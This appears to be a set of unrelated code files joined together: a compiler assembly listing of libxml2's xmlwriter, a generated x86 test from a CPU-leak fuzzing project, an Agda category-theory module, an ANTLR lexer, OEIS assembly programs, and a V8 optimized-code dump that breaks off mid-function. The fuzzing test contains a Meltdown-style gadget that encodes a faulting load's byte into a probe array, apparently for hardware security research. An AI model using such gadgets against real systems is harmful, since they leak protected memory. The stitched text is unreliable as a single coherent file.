; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlNewTextWriterFilename
_TEXT SEGMENT
_uri$ = 8 ; size = 4
_compression$ = 12 ; size = 4
_xmlNewTextWriterFilename PROC ; COMDAT
; 243 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
push DWORD PTR _compression$[ebp]
push 0
push DWORD PTR _uri$[ebp]
call _xmlOutputBufferCreateFilename
mov esi, eax
add esp, 12 ; 0000000cH
test esi, esi
jne SHORT $LN2@xmlNewText
; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push OFFSET ??_C@_0CM@BPKCIIPG@xmlNewTextWriterFilename?5?3?5cann@
push OFFSET ??_C@_02DKCKIIND@?$CFs@
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 3
push 1516 ; 000005ecH
push 25 ; 00000019H
push eax
push eax
push eax
push eax
push eax
call ___xmlRaiseError
add esp, 68 ; 00000044H
; 244 : xmlTextWriterPtr ret;
; 245 : xmlOutputBufferPtr out;
; 246 :
; 247 : out = xmlOutputBufferCreateFilename(uri, NULL, compression);
; 248 : if (out == NULL) {
; 249 : xmlWriterErrMsg(NULL, XML_IO_EIO,
; 250 : "xmlNewTextWriterFilename : cannot open uri\n");
; 251 : return NULL;
xor eax, eax
pop esi
; 264 : return ret;
; 265 : }
pop ebp
ret 0
$LN2@xmlNewText:
; 252 : }
; 253 :
; 254 : ret = xmlNewTextWriter(out);
push esi
call _xmlNewTextWriter
add esp, 4
; 255 : if (ret == NULL) {
test eax, eax
jne SHORT $LN3@xmlNewText
; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push OFFSET ??_C@_0CL@DOKHFPFK@xmlNewTextWriterFilename?5?3?5out?5@
push OFFSET ??_C@_02DKCKIIND@?$CFs@
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 3
push 2
push 25 ; 00000019H
push eax
push eax
push eax
push eax
push eax
call ___xmlRaiseError
; 256 : xmlWriterErrMsg(NULL, XML_ERR_NO_MEMORY,
; 257 : "xmlNewTextWriterFilename : out of memory!\n");
; 258 : xmlOutputBufferClose(out);
push esi
call _xmlOutputBufferClose
add esp, 72 ; 00000048H
; 259 : return NULL;
xor eax, eax
pop esi
; 264 : return ret;
; 265 : }
pop ebp
ret 0
$LN3@xmlNewText:
; 260 : }
; 261 :
; 262 : ret->indent = 0;
mov DWORD PTR [eax+16], 0
; 263 : ret->doindent = 0;
mov DWORD PTR [eax+20], 0
pop esi
; 264 : return ret;
; 265 : }
pop ebp
ret 0
_xmlNewTextWriterFilename ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlNewTextWriter
_TEXT SEGMENT
_out$ = 8 ; size = 4
_xmlNewTextWriter PROC ; COMDAT
; 182 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
push 44 ; 0000002cH
call DWORD PTR _xmlMalloc
mov esi, eax
add esp, 4
test esi, esi
jne SHORT $LN2@xmlNewText
; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push OFFSET ??_C@_0CD@BLMOIHCP@xmlNewTextWriter?5?3?5out?5of?5memor@
push OFFSET ??_C@_02DKCKIIND@?$CFs@
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 3
push 2
push 25 ; 00000019H
push eax
push eax
push eax
push eax
push eax
call ___xmlRaiseError
add esp, 68 ; 00000044H
; 183 : xmlTextWriterPtr ret;
; 184 :
; 185 : ret = (xmlTextWriterPtr) xmlMalloc(sizeof(xmlTextWriter));
; 186 : if (ret == NULL) {
; 187 : xmlWriterErrMsg(NULL, XML_ERR_NO_MEMORY,
; 188 : "xmlNewTextWriter : out of memory!\n");
; 189 : return NULL;
xor eax, eax
pop esi
; 230 : }
pop ebp
ret 0
$LN2@xmlNewText:
; 190 : }
; 191 : memset(ret, 0, (size_t) sizeof(xmlTextWriter));
push 44 ; 0000002cH
push 0
push esi
call _memset
; 192 :
; 193 : ret->nodes = xmlListCreate(xmlFreeTextWriterStackEntry,
push OFFSET _xmlCmpTextWriterStackEntry
push OFFSET _xmlFreeTextWriterStackEntry
call _xmlListCreate
add esp, 20 ; 00000014H
mov DWORD PTR [esi+4], eax
; 194 : xmlCmpTextWriterStackEntry);
; 195 : if (ret->nodes == NULL) {
test eax, eax
jne SHORT $LN3@xmlNewText
; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push OFFSET ??_C@_0CD@BLMOIHCP@xmlNewTextWriter?5?3?5out?5of?5memor@
push OFFSET ??_C@_02DKCKIIND@?$CFs@
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 3
push 2
push 25 ; 00000019H
push eax
push eax
push eax
push eax
push eax
call ___xmlRaiseError
; 196 : xmlWriterErrMsg(NULL, XML_ERR_NO_MEMORY,
; 197 : "xmlNewTextWriter : out of memory!\n");
; 198 : xmlFree(ret);
push esi
call DWORD PTR _xmlFree
add esp, 72 ; 00000048H
; 199 : return NULL;
xor eax, eax
pop esi
; 230 : }
pop ebp
ret 0
$LN3@xmlNewText:
; 200 : }
; 201 :
; 202 : ret->nsstack = xmlListCreate(xmlFreeTextWriterNsStackEntry,
push OFFSET _xmlCmpTextWriterNsStackEntry
push OFFSET _xmlFreeTextWriterNsStackEntry
call _xmlListCreate
add esp, 8
mov DWORD PTR [esi+8], eax
; 203 : xmlCmpTextWriterNsStackEntry);
; 204 : if (ret->nsstack == NULL) {
test eax, eax
jne SHORT $LN4@xmlNewText
; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push OFFSET ??_C@_0CD@BLMOIHCP@xmlNewTextWriter?5?3?5out?5of?5memor@
push OFFSET ??_C@_02DKCKIIND@?$CFs@
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 3
push 2
push 25 ; 00000019H
push eax
push eax
push eax
push eax
push eax
call ___xmlRaiseError
; 205 : xmlWriterErrMsg(NULL, XML_ERR_NO_MEMORY,
; 206 : "xmlNewTextWriter : out of memory!\n");
; 207 : xmlListDelete(ret->nodes);
push DWORD PTR [esi+4]
call _xmlListDelete
add esp, 72 ; 00000048H
; 208 : xmlFree(ret);
push esi
call DWORD PTR _xmlFree
add esp, 4
; 209 : return NULL;
xor eax, eax
pop esi
; 230 : }
pop ebp
ret 0
$LN4@xmlNewText:
; 210 : }
; 211 :
; 212 : ret->out = out;
mov eax, DWORD PTR _out$[ebp]
; 213 : ret->ichar = xmlStrdup(BAD_CAST " ");
push OFFSET ??_C@_01CLKCMJKC@?5@
mov DWORD PTR [esi], eax
call _xmlStrdup
add esp, 4
mov DWORD PTR [esi+24], eax
; 214 : ret->qchar = '"';
mov BYTE PTR [esi+28], 34 ; 00000022H
; 215 :
; 216 : if (!ret->ichar) {
test eax, eax
jne SHORT $LN5@xmlNewText
; 217 : xmlListDelete(ret->nodes);
push DWORD PTR [esi+4]
call _xmlListDelete
; 218 : xmlListDelete(ret->nsstack);
push DWORD PTR [esi+8]
call _xmlListDelete
; 219 : xmlFree(ret);
push esi
call DWORD PTR _xmlFree
; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push OFFSET ??_C@_0CD@BLMOIHCP@xmlNewTextWriter?5?3?5out?5of?5memor@
push OFFSET ??_C@_02DKCKIIND@?$CFs@
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 3
push 2
push 25 ; 00000019H
push 0
push 0
push 0
push 0
push 0
call ___xmlRaiseError
add esp, 80 ; 00000050H
; 220 : xmlWriterErrMsg(NULL, XML_ERR_NO_MEMORY,
; 221 : "xmlNewTextWriter : out of memory!\n");
; 222 : return NULL;
xor eax, eax
pop esi
; 230 : }
pop ebp
ret 0
$LN5@xmlNewText:
; 223 : }
; 224 :
; 225 : ret->doc = xmlNewDoc(NULL);
push 0
call _xmlNewDoc
add esp, 4
mov DWORD PTR [esi+40], eax
; 226 :
; 227 : ret->no_doc_free = 0;
mov DWORD PTR [esi+36], 0
; 228 :
; 229 : return ret;
mov eax, esi
pop esi
; 230 : }
pop ebp
ret 0
_xmlNewTextWriter ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\program files (x86)\windows kits\10\include\10.0.17763.0\ucrt\stdio.h
; COMDAT _vsnprintf
_TEXT SEGMENT
__Buffer$ = 8 ; size = 4
__BufferCount$ = 12 ; size = 4
__Format$ = 16 ; size = 4
__ArgList$ = 20 ; size = 4
_vsnprintf PROC ; COMDAT
; 1439 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __A452D4A0_stdio@h
call @__CheckForDebuggerJustMyCode@4
call ___local_stdio_printf_options
push DWORD PTR __ArgList$[ebp]
mov ecx, eax
push 0
push DWORD PTR __Format$[ebp]
push DWORD PTR __BufferCount$[ebp]
mov eax, DWORD PTR [ecx]
push DWORD PTR __Buffer$[ebp]
or eax, 2
push DWORD PTR [ecx+4]
push eax
call DWORD PTR __imp____stdio_common_vsprintf
or ecx, -1
add esp, 28 ; 0000001cH
test eax, eax
cmovs eax, ecx
; 1440 : int const _Result = __stdio_common_vsprintf(
; 1441 : _CRT_INTERNAL_LOCAL_PRINTF_OPTIONS | _CRT_INTERNAL_PRINTF_STANDARD_SNPRINTF_BEHAVIOR,
; 1442 : _Buffer, _BufferCount, _Format, NULL, _ArgList);
; 1443 :
; 1444 : return _Result < 0 ? -1 : _Result;
; 1445 : }
pop ebp
ret 0
_vsnprintf ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\program files (x86)\windows kits\10\include\10.0.17763.0\ucrt\corecrt_stdio_config.h
; COMDAT ___local_stdio_printf_options
_TEXT SEGMENT
___local_stdio_printf_options PROC ; COMDAT
mov ecx, OFFSET __2CC6E67D_corecrt_stdio_config@h
call @__CheckForDebuggerJustMyCode@4
mov eax, OFFSET ?_OptionsStorage@?1??__local_stdio_printf_options@@9@9 ; `__local_stdio_printf_options'::`2'::_OptionsStorage
ret 0
___local_stdio_printf_options ENDP
_TEXT ENDS
END
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_322.asm | ljhsiun2/medusa | 9 | 170162 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x14035, %rsi
lea addresses_UC_ht+0x9835, %rdi
nop
cmp %r11, %r11
mov $52, %rcx
rep movsb
nop
nop
nop
nop
xor %rbx, %rbx
lea addresses_WT_ht+0x1b71e, %rsi
lea addresses_WT_ht+0x1302d, %rdi
nop
and %r14, %r14
mov $103, %rcx
rep movsl
nop
nop
nop
nop
nop
xor %r14, %r14
lea addresses_WT_ht+0xc835, %rsi
lea addresses_WC_ht+0x5035, %rdi
nop
dec %r13
mov $39, %rcx
rep movsl
nop
sub $46421, %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r9
push %rcx
push %rdx
// Faulty Load
lea addresses_A+0x1235, %rcx
nop
nop
nop
nop
nop
add $64330, %r13
mov (%rcx), %edx
lea oracles, %r11
and $0xff, %rdx
shlq $12, %rdx
mov (%r11,%rdx,1), %rdx
pop %rdx
pop %rcx
pop %r9
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
Structure/Category/Categories.agda | Lolirofle/stuff-in-agda | 6 | 15489 | module Structure.Category.Categories where
open import Data
open import Data.Proofs
open import Functional
open import Logic
import Lvl
import Relator.Equals as Eq
open import Structure.Setoid
open import Structure.Category
open import Structure.Categorical.Proofs
open import Structure.Categorical.Properties
open import Structure.Operator
open import Type
private variable ℓ ℓ₁ ℓ₂ ℓₑ : Lvl.Level
private variable Obj A B : Type{ℓ}
private variable _▫_ : Obj → Obj → Type{ℓ}
private variable f : A → B
-- The empty category is a category containing nothing.
-- The objects are empty.
-- The morphisms are empty.
emptyCategory : Category{ℓ₁}{ℓ₂}{ℓₑ}(empty-morphism) ⦃ \{} ⦄
Category._∘_ emptyCategory = empty-comp
Category.id emptyCategory = empty-id
Category.binaryOperator emptyCategory {}
Category.associativity emptyCategory = empty-associativity ⦃ \{} ⦄
Category.identity emptyCategory = empty-identity ⦃ \{} ⦄
-- The single category is a category containing a single object and a single morphism.
-- The objects consists of a single thing.
-- The morphisms consists of a single connection connecting the single thing to itself.
singleCategory : ∀{ℓₒ ℓᵢ ℓₚₐ₁ ℓₚₐ₂ ℓₚᵢ₁ ℓₚᵢ₂ ℓₚᵢ₃ : Lvl.Level} → Category{ℓ₁}{ℓ₂}(single-morphism)
Category._∘_ (singleCategory{ℓ₁}{ℓ₂}{ℓₒ}{ℓᵢ}{ℓₚₐ₁}{ℓₚₐ₂}{ℓₚᵢ₁}{ℓₚᵢ₂}{ℓₚᵢ₃}) = single-comp{ℓ₂}{ℓₒ}
Category.id (singleCategory{ℓ₁}{ℓ₂}{ℓₒ}{ℓᵢ}{ℓₚₐ₁}{ℓₚₐ₂}{ℓₚᵢ₁}{ℓₚᵢ₂}{ℓₚᵢ₃}) = single-id{ℓ₂}{ℓᵢ}
BinaryOperator.congruence (Category.binaryOperator singleCategory) Eq.[≡]-intro Eq.[≡]-intro = Eq.[≡]-intro
Category.associativity (singleCategory{ℓ₁}{ℓ₂}{ℓₒ}{ℓᵢ}{ℓₚₐ₁}{ℓₚₐ₂}{ℓₚᵢ₁}{ℓₚᵢ₂}{ℓₚᵢ₃}) = single-associativity{ℓ₂}{ℓ₂}{ℓₚₐ₁}{ℓ₁}{ℓₚₐ₂}
Category.identity (singleCategory{ℓ₁}{ℓ₂}{ℓₒ}{ℓᵢ}{ℓₚₐ₁}{ℓₚₐ₂}{ℓₚᵢ₁}{ℓₚᵢ₂}{ℓₚᵢ₃}) = single-identity{ℓ₂}{ℓ₂}{ℓₚᵢ₁}{ℓ₁}{ℓₚᵢ₂}{ℓₚᵢ₃}
on₂-category : ⦃ morphism-equiv : ∀{x y} → Equiv{ℓₑ}{ℓ}(x ▫ y) ⦄ → Category{Obj = B}(_▫_) ⦃ morphism-equiv ⦄ → (f : A → B) → Category((_▫_) on₂ f)
Category._∘_ (on₂-category C _) = Category._∘_ C
Category.id (on₂-category C _) = Category.id C
BinaryOperator.congruence (Category.binaryOperator (on₂-category C _)) = BinaryOperator.congruence(Category.binaryOperator C)
Category.associativity (on₂-category C f) = on₂-associativity f (Category.associativity C)
Category.identity (on₂-category C f) = on₂-identity f (Category.identity C)
{-
TODO:
• https://en.wikipedia.org/wiki/Isomorphism_of_categories
• https://en.wikipedia.org/wiki/Equivalence_of_categories
?
-}
|
with-actions/StringLexer.g4 | sepp2k/antlr4-string-interpolation-examples | 5 | 6726 | lexer grammar StringLexer;
@members {
int nesting = 0;
}
IDENTIFIER: [a-zA-Z_][a-zA-Z0-9_]* ;
DQUOTE: '"' -> pushMode(IN_STRING);
LPAR: '(' {
nesting++;
pushMode(DEFAULT_MODE);
};
RPAR: ')' {
if (nesting > 0) {
nesting--;
popMode();
}
};
mode IN_STRING;
TEXT: ~[\\"]+ ;
BACKSLASH_PAREN: '\\(' {
nesting++;
pushMode(DEFAULT_MODE);
};
ESCAPE_SEQUENCE: '\\' . ;
DQUOTE_IN_STRING: '"' -> type(DQUOTE), popMode; |
programs/oeis/033/A033572.asm | jmorken/loda | 1 | 652 | ; A033572: a(n) = (2*n+1)*(7*n+1).
; 1,24,75,154,261,396,559,750,969,1216,1491,1794,2125,2484,2871,3286,3729,4200,4699,5226,5781,6364,6975,7614,8281,8976,9699,10450,11229,12036,12871,13734,14625,15544,16491,17466,18469,19500,20559,21646,22761,23904,25075,26274,27501,28756,30039,31350,32689,34056,35451,36874,38325,39804,41311,42846,44409,46000,47619,49266,50941,52644,54375,56134,57921,59736,61579,63450,65349,67276,69231,71214,73225,75264,77331,79426,81549,83700,85879,88086,90321,92584,94875,97194,99541,101916,104319,106750,109209,111696,114211,116754,119325,121924,124551,127206,129889,132600,135339,138106,140901,143724,146575,149454,152361,155296,158259,161250,164269,167316,170391,173494,176625,179784,182971,186186,189429,192700,195999,199326,202681,206064,209475,212914,216381,219876,223399,226950,230529,234136,237771,241434,245125,248844,252591,256366,260169,264000,267859,271746,275661,279604,283575,287574,291601,295656,299739,303850,307989,312156,316351,320574,324825,329104,333411,337746,342109,346500,350919,355366,359841,364344,368875,373434,378021,382636,387279,391950,396649,401376,406131,410914,415725,420564,425431,430326,435249,440200,445179,450186,455221,460284,465375,470494,475641,480816,486019,491250,496509,501796,507111,512454,517825,523224,528651,534106,539589,545100,550639,556206,561801,567424,573075,578754,584461,590196,595959,601750,607569,613416,619291,625194,631125,637084,643071,649086,655129,661200,667299,673426,679581,685764,691975,698214,704481,710776,717099,723450,729829,736236,742671,749134,755625,762144,768691,775266,781869,788500,795159,801846,808561,815304,822075,828874,835701,842556,849439,856350,863289,870256
mov $1,14
mul $1,$0
add $1,9
mul $1,$0
add $1,1
|
programs/oeis/321/A321257.asm | karttu/loda | 0 | 12569 | <filename>programs/oeis/321/A321257.asm<gh_stars>0
; A321257: Start with an equilateral triangle, and repeatedly append along the triangles of the previous step equilateral triangles with half their side length that do not overlap with any prior triangle; a(n) gives the number of triangles appended at n-th step.
; 1,6,21,60,147,330,705,1464,2991,6054,12189,24468,49035,98178,196473,393072,786279,1572702,3145557,6291276,12582723,25165626,50331441,100663080,201326367,402652950,805306125,1610612484,3221225211,6442450674,12884901609,25769803488
mov $1,1
lpb $0,1
sub $0,1
trn $1,3
add $2,3
mul $2,2
add $1,$2
lpe
|
demo/pow/mult.asm | AndreasMadsen/talk-benchmaking-nodejs-with-statistics | 0 | 23665 | <reponame>AndreasMadsen/talk-benchmaking-nodejs-with-statistics<filename>demo/pow/mult.asm
--- FUNCTION SOURCE (benchmark) id{0,0} ---
() {
var sum = 0;
for (var i = 0; i < 1000000; i++) {
sum += i * i;
}
return sum;
}
--- END ---
--- Raw source ---
() {
var sum = 0;
for (var i = 0; i < 1000000; i++) {
sum += i * i;
}
return sum;
}
--- Optimized code ---
optimization_id = 0
source_position = 18
kind = OPTIMIZED_FUNCTION
name = benchmark
stack_slots = 7
compiler = crankshaft
Instructions (size = 577)
0x17ca2a3429c0 0 55 push rbp
0x17ca2a3429c1 1 4889e5 REX.W movq rbp,rsp
0x17ca2a3429c4 4 56 push rsi
0x17ca2a3429c5 5 57 push rdi
0x17ca2a3429c6 6 4883ec18 REX.W subq rsp,0x18
;;; <@0,#0> -------------------- B0 --------------------
;;; <@4,#3> prologue
;;; Prologue begin
;;; Prologue end
;;; <@8,#5> -------------------- B1 --------------------
;;; <@10,#6> context
0x17ca2a3429ca 10 488b45f8 REX.W movq rax,[rbp-0x8] ;; debug: position 18
;;; <@11,#6> gap
0x17ca2a3429ce 14 488945d8 REX.W movq [rbp-0x28],rax
;;; <@14,#10> -------------------- B2 --------------------
;;; <@15,#10> gap
0x17ca2a3429d2 18 488bf0 REX.W movq rsi,rax
;;; <@16,#12> stack-check
0x17ca2a3429d5 21 493ba5880a0000 REX.W cmpq rsp,[r13+0xa88]
0x17ca2a3429dc 28 7305 jnc 35 (0x17ca2a3429e3)
0x17ca2a3429de 30 e8fda1ffff call StackCheck (0x17ca2a33cbe0) ;; code: BUILTIN
;;; <@18,#12> lazy-bailout
;;; <@21,#18> goto
0x17ca2a3429e3 35 e95a000000 jmp 130 (0x17ca2a342a42) ;; debug: position 40
;;; <@22,#22> -------------------- B3 (OSR entry) --------------------
0x17ca2a3429e8 40 4883ec08 REX.W subq rsp,0x8
;;; <@34,#29> context
0x17ca2a3429ec 44 488b45f8 REX.W movq rax,[rbp-0x8]
;;; <@35,#29> gap
0x17ca2a3429f0 48 488b5de8 REX.W movq rbx,[rbp-0x18]
;;; <@36,#78> double-untag
0x17ca2a3429f4 52 f6c301 testb rbx,0x1
0x17ca2a3429f7 55 7415 jz 78 (0x17ca2a342a0e)
0x17ca2a3429f9 57 4d8b55f8 REX.W movq r10,[r13-0x8]
0x17ca2a3429fd 61 4c3953ff REX.W cmpq [rbx-0x1],r10
0x17ca2a342a01 65 c5fb105307 vmovsd xmm2,[rbx+0x7]
0x17ca2a342a06 70 0f85a6010000 jnz 498 (0x17ca2a342bb2)
0x17ca2a342a0c 76 eb10 jmp 94 (0x17ca2a342a1e)
0x17ca2a342a0e 78 4c8bd3 REX.W movq r10,rbx
0x17ca2a342a11 81 49c1ea20 REX.W shrq r10, 32
0x17ca2a342a15 85 c5e957d2 vxorpd xmm2,xmm2,xmm2
0x17ca2a342a19 89 c4c16b2ad2 vcvtlsi2sd xmm2,xmm2,r10
;;; <@37,#78> gap
0x17ca2a342a1e 94 488b55e0 REX.W movq rdx,[rbp-0x20]
;;; <@38,#79> tagged-to-i
0x17ca2a342a22 98 f6c201 testb rdx,0x1
0x17ca2a342a25 101 0f85ac000000 jnz 279 (0x17ca2a342ad7)
0x17ca2a342a2b 107 48c1ea20 REX.W shrq rdx, 32
;;; <@40,#31> gap
0x17ca2a342a2f 111 488bd8 REX.W movq rbx,rax
0x17ca2a342a32 114 488bc2 REX.W movq rax,rdx
0x17ca2a342a35 117 488b5510 REX.W movq rdx,[rbp+0x10]
0x17ca2a342a39 121 c5f928ca vmovapd xmm1,xmm2
;;; <@41,#31> goto
0x17ca2a342a3d 125 e90e000000 jmp 144 (0x17ca2a342a50)
;;; <@42,#19> -------------------- B4 --------------------
;;; <@44,#77> constant-d
0x17ca2a342a42 130 c5f157c9 vxorpd xmm1,xmm1,xmm1
;;; <@46,#21> gap
0x17ca2a342a46 134 488b5510 REX.W movq rdx,[rbp+0x10]
0x17ca2a342a4a 138 488b5dd8 REX.W movq rbx,[rbp-0x28]
0x17ca2a342a4e 142 33c0 xorl rax,rax
;;; <@48,#40> -------------------- B5 (unreachable/replaced) --------------------
;;; <@52,#43> -------------------- B6 (loop header) --------------------
;;; <@55,#47> compare-numeric-and-branch
0x17ca2a342a50 144 3d40420f00 cmp rax,0xf4240 ;; debug: position 56
;; debug: position 58
0x17ca2a342a55 149 0f8d3a000000 jge 213 (0x17ca2a342a95)
;;; <@56,#48> -------------------- B7 (unreachable/replaced) --------------------
;;; <@60,#54> -------------------- B8 --------------------
;;; <@62,#56> stack-check
0x17ca2a342a5b 155 493ba5880a0000 REX.W cmpq rsp,[r13+0xa88] ;; debug: position 40
0x17ca2a342a62 162 0f82b8000000 jc 352 (0x17ca2a342b20)
;;; <@63,#56> gap
0x17ca2a342a68 168 488bc8 REX.W movq rcx,rax
;;; <@64,#60> mul-i
0x17ca2a342a6b 171 448bd1 movl r10,rcx ;; debug: position 89
0x17ca2a342a6e 174 0fafc8 imull rcx,rax
0x17ca2a342a71 177 0f8040010000 jo 503 (0x17ca2a342bb7)
0x17ca2a342a77 183 85c9 testl rcx,rcx
0x17ca2a342a79 185 7509 jnz 196 (0x17ca2a342a84)
0x17ca2a342a7b 187 440bd0 orl r10,rax
0x17ca2a342a7e 190 0f8838010000 js 508 (0x17ca2a342bbc)
;;; <@66,#81> int32-to-double
0x17ca2a342a84 196 c5e957d2 vxorpd xmm2,xmm2,xmm2
0x17ca2a342a88 200 c5eb2ad1 vcvtlsi2sd xmm2,xmm2,rcx
;;; <@68,#62> add-d
0x17ca2a342a8c 204 c5eb58c9 vaddsd xmm1,xmm2,xmm1 ;; debug: position 85
;;; <@70,#67> add-i
0x17ca2a342a90 208 83c001 addl rax,0x1 ;; debug: position 70
;;; <@73,#70> goto
0x17ca2a342a93 211 ebbb jmp 144 (0x17ca2a342a50) ;; debug: position 40
;;; <@74,#51> -------------------- B9 (unreachable/replaced) --------------------
;;; <@78,#71> -------------------- B10 --------------------
;;; <@80,#80> number-tag-d
0x17ca2a342a95 213 498b9d480f0000 REX.W movq rbx,[r13+0xf48] ;; debug: position 107
;; debug: position 100
0x17ca2a342a9c 220 488bc3 REX.W movq rax,rbx
0x17ca2a342a9f 223 4883c010 REX.W addq rax,0x10
0x17ca2a342aa3 227 0f82bc000000 jc 421 (0x17ca2a342b65)
0x17ca2a342aa9 233 493b85500f0000 REX.W cmpq rax,[r13+0xf50]
0x17ca2a342ab0 240 0f87af000000 ja 421 (0x17ca2a342b65)
0x17ca2a342ab6 246 498985480f0000 REX.W movq [r13+0xf48],rax
0x17ca2a342abd 253 48ffc3 REX.W incq rbx
0x17ca2a342ac0 256 4d8b55f8 REX.W movq r10,[r13-0x8]
0x17ca2a342ac4 260 4c8953ff REX.W movq [rbx-0x1],r10
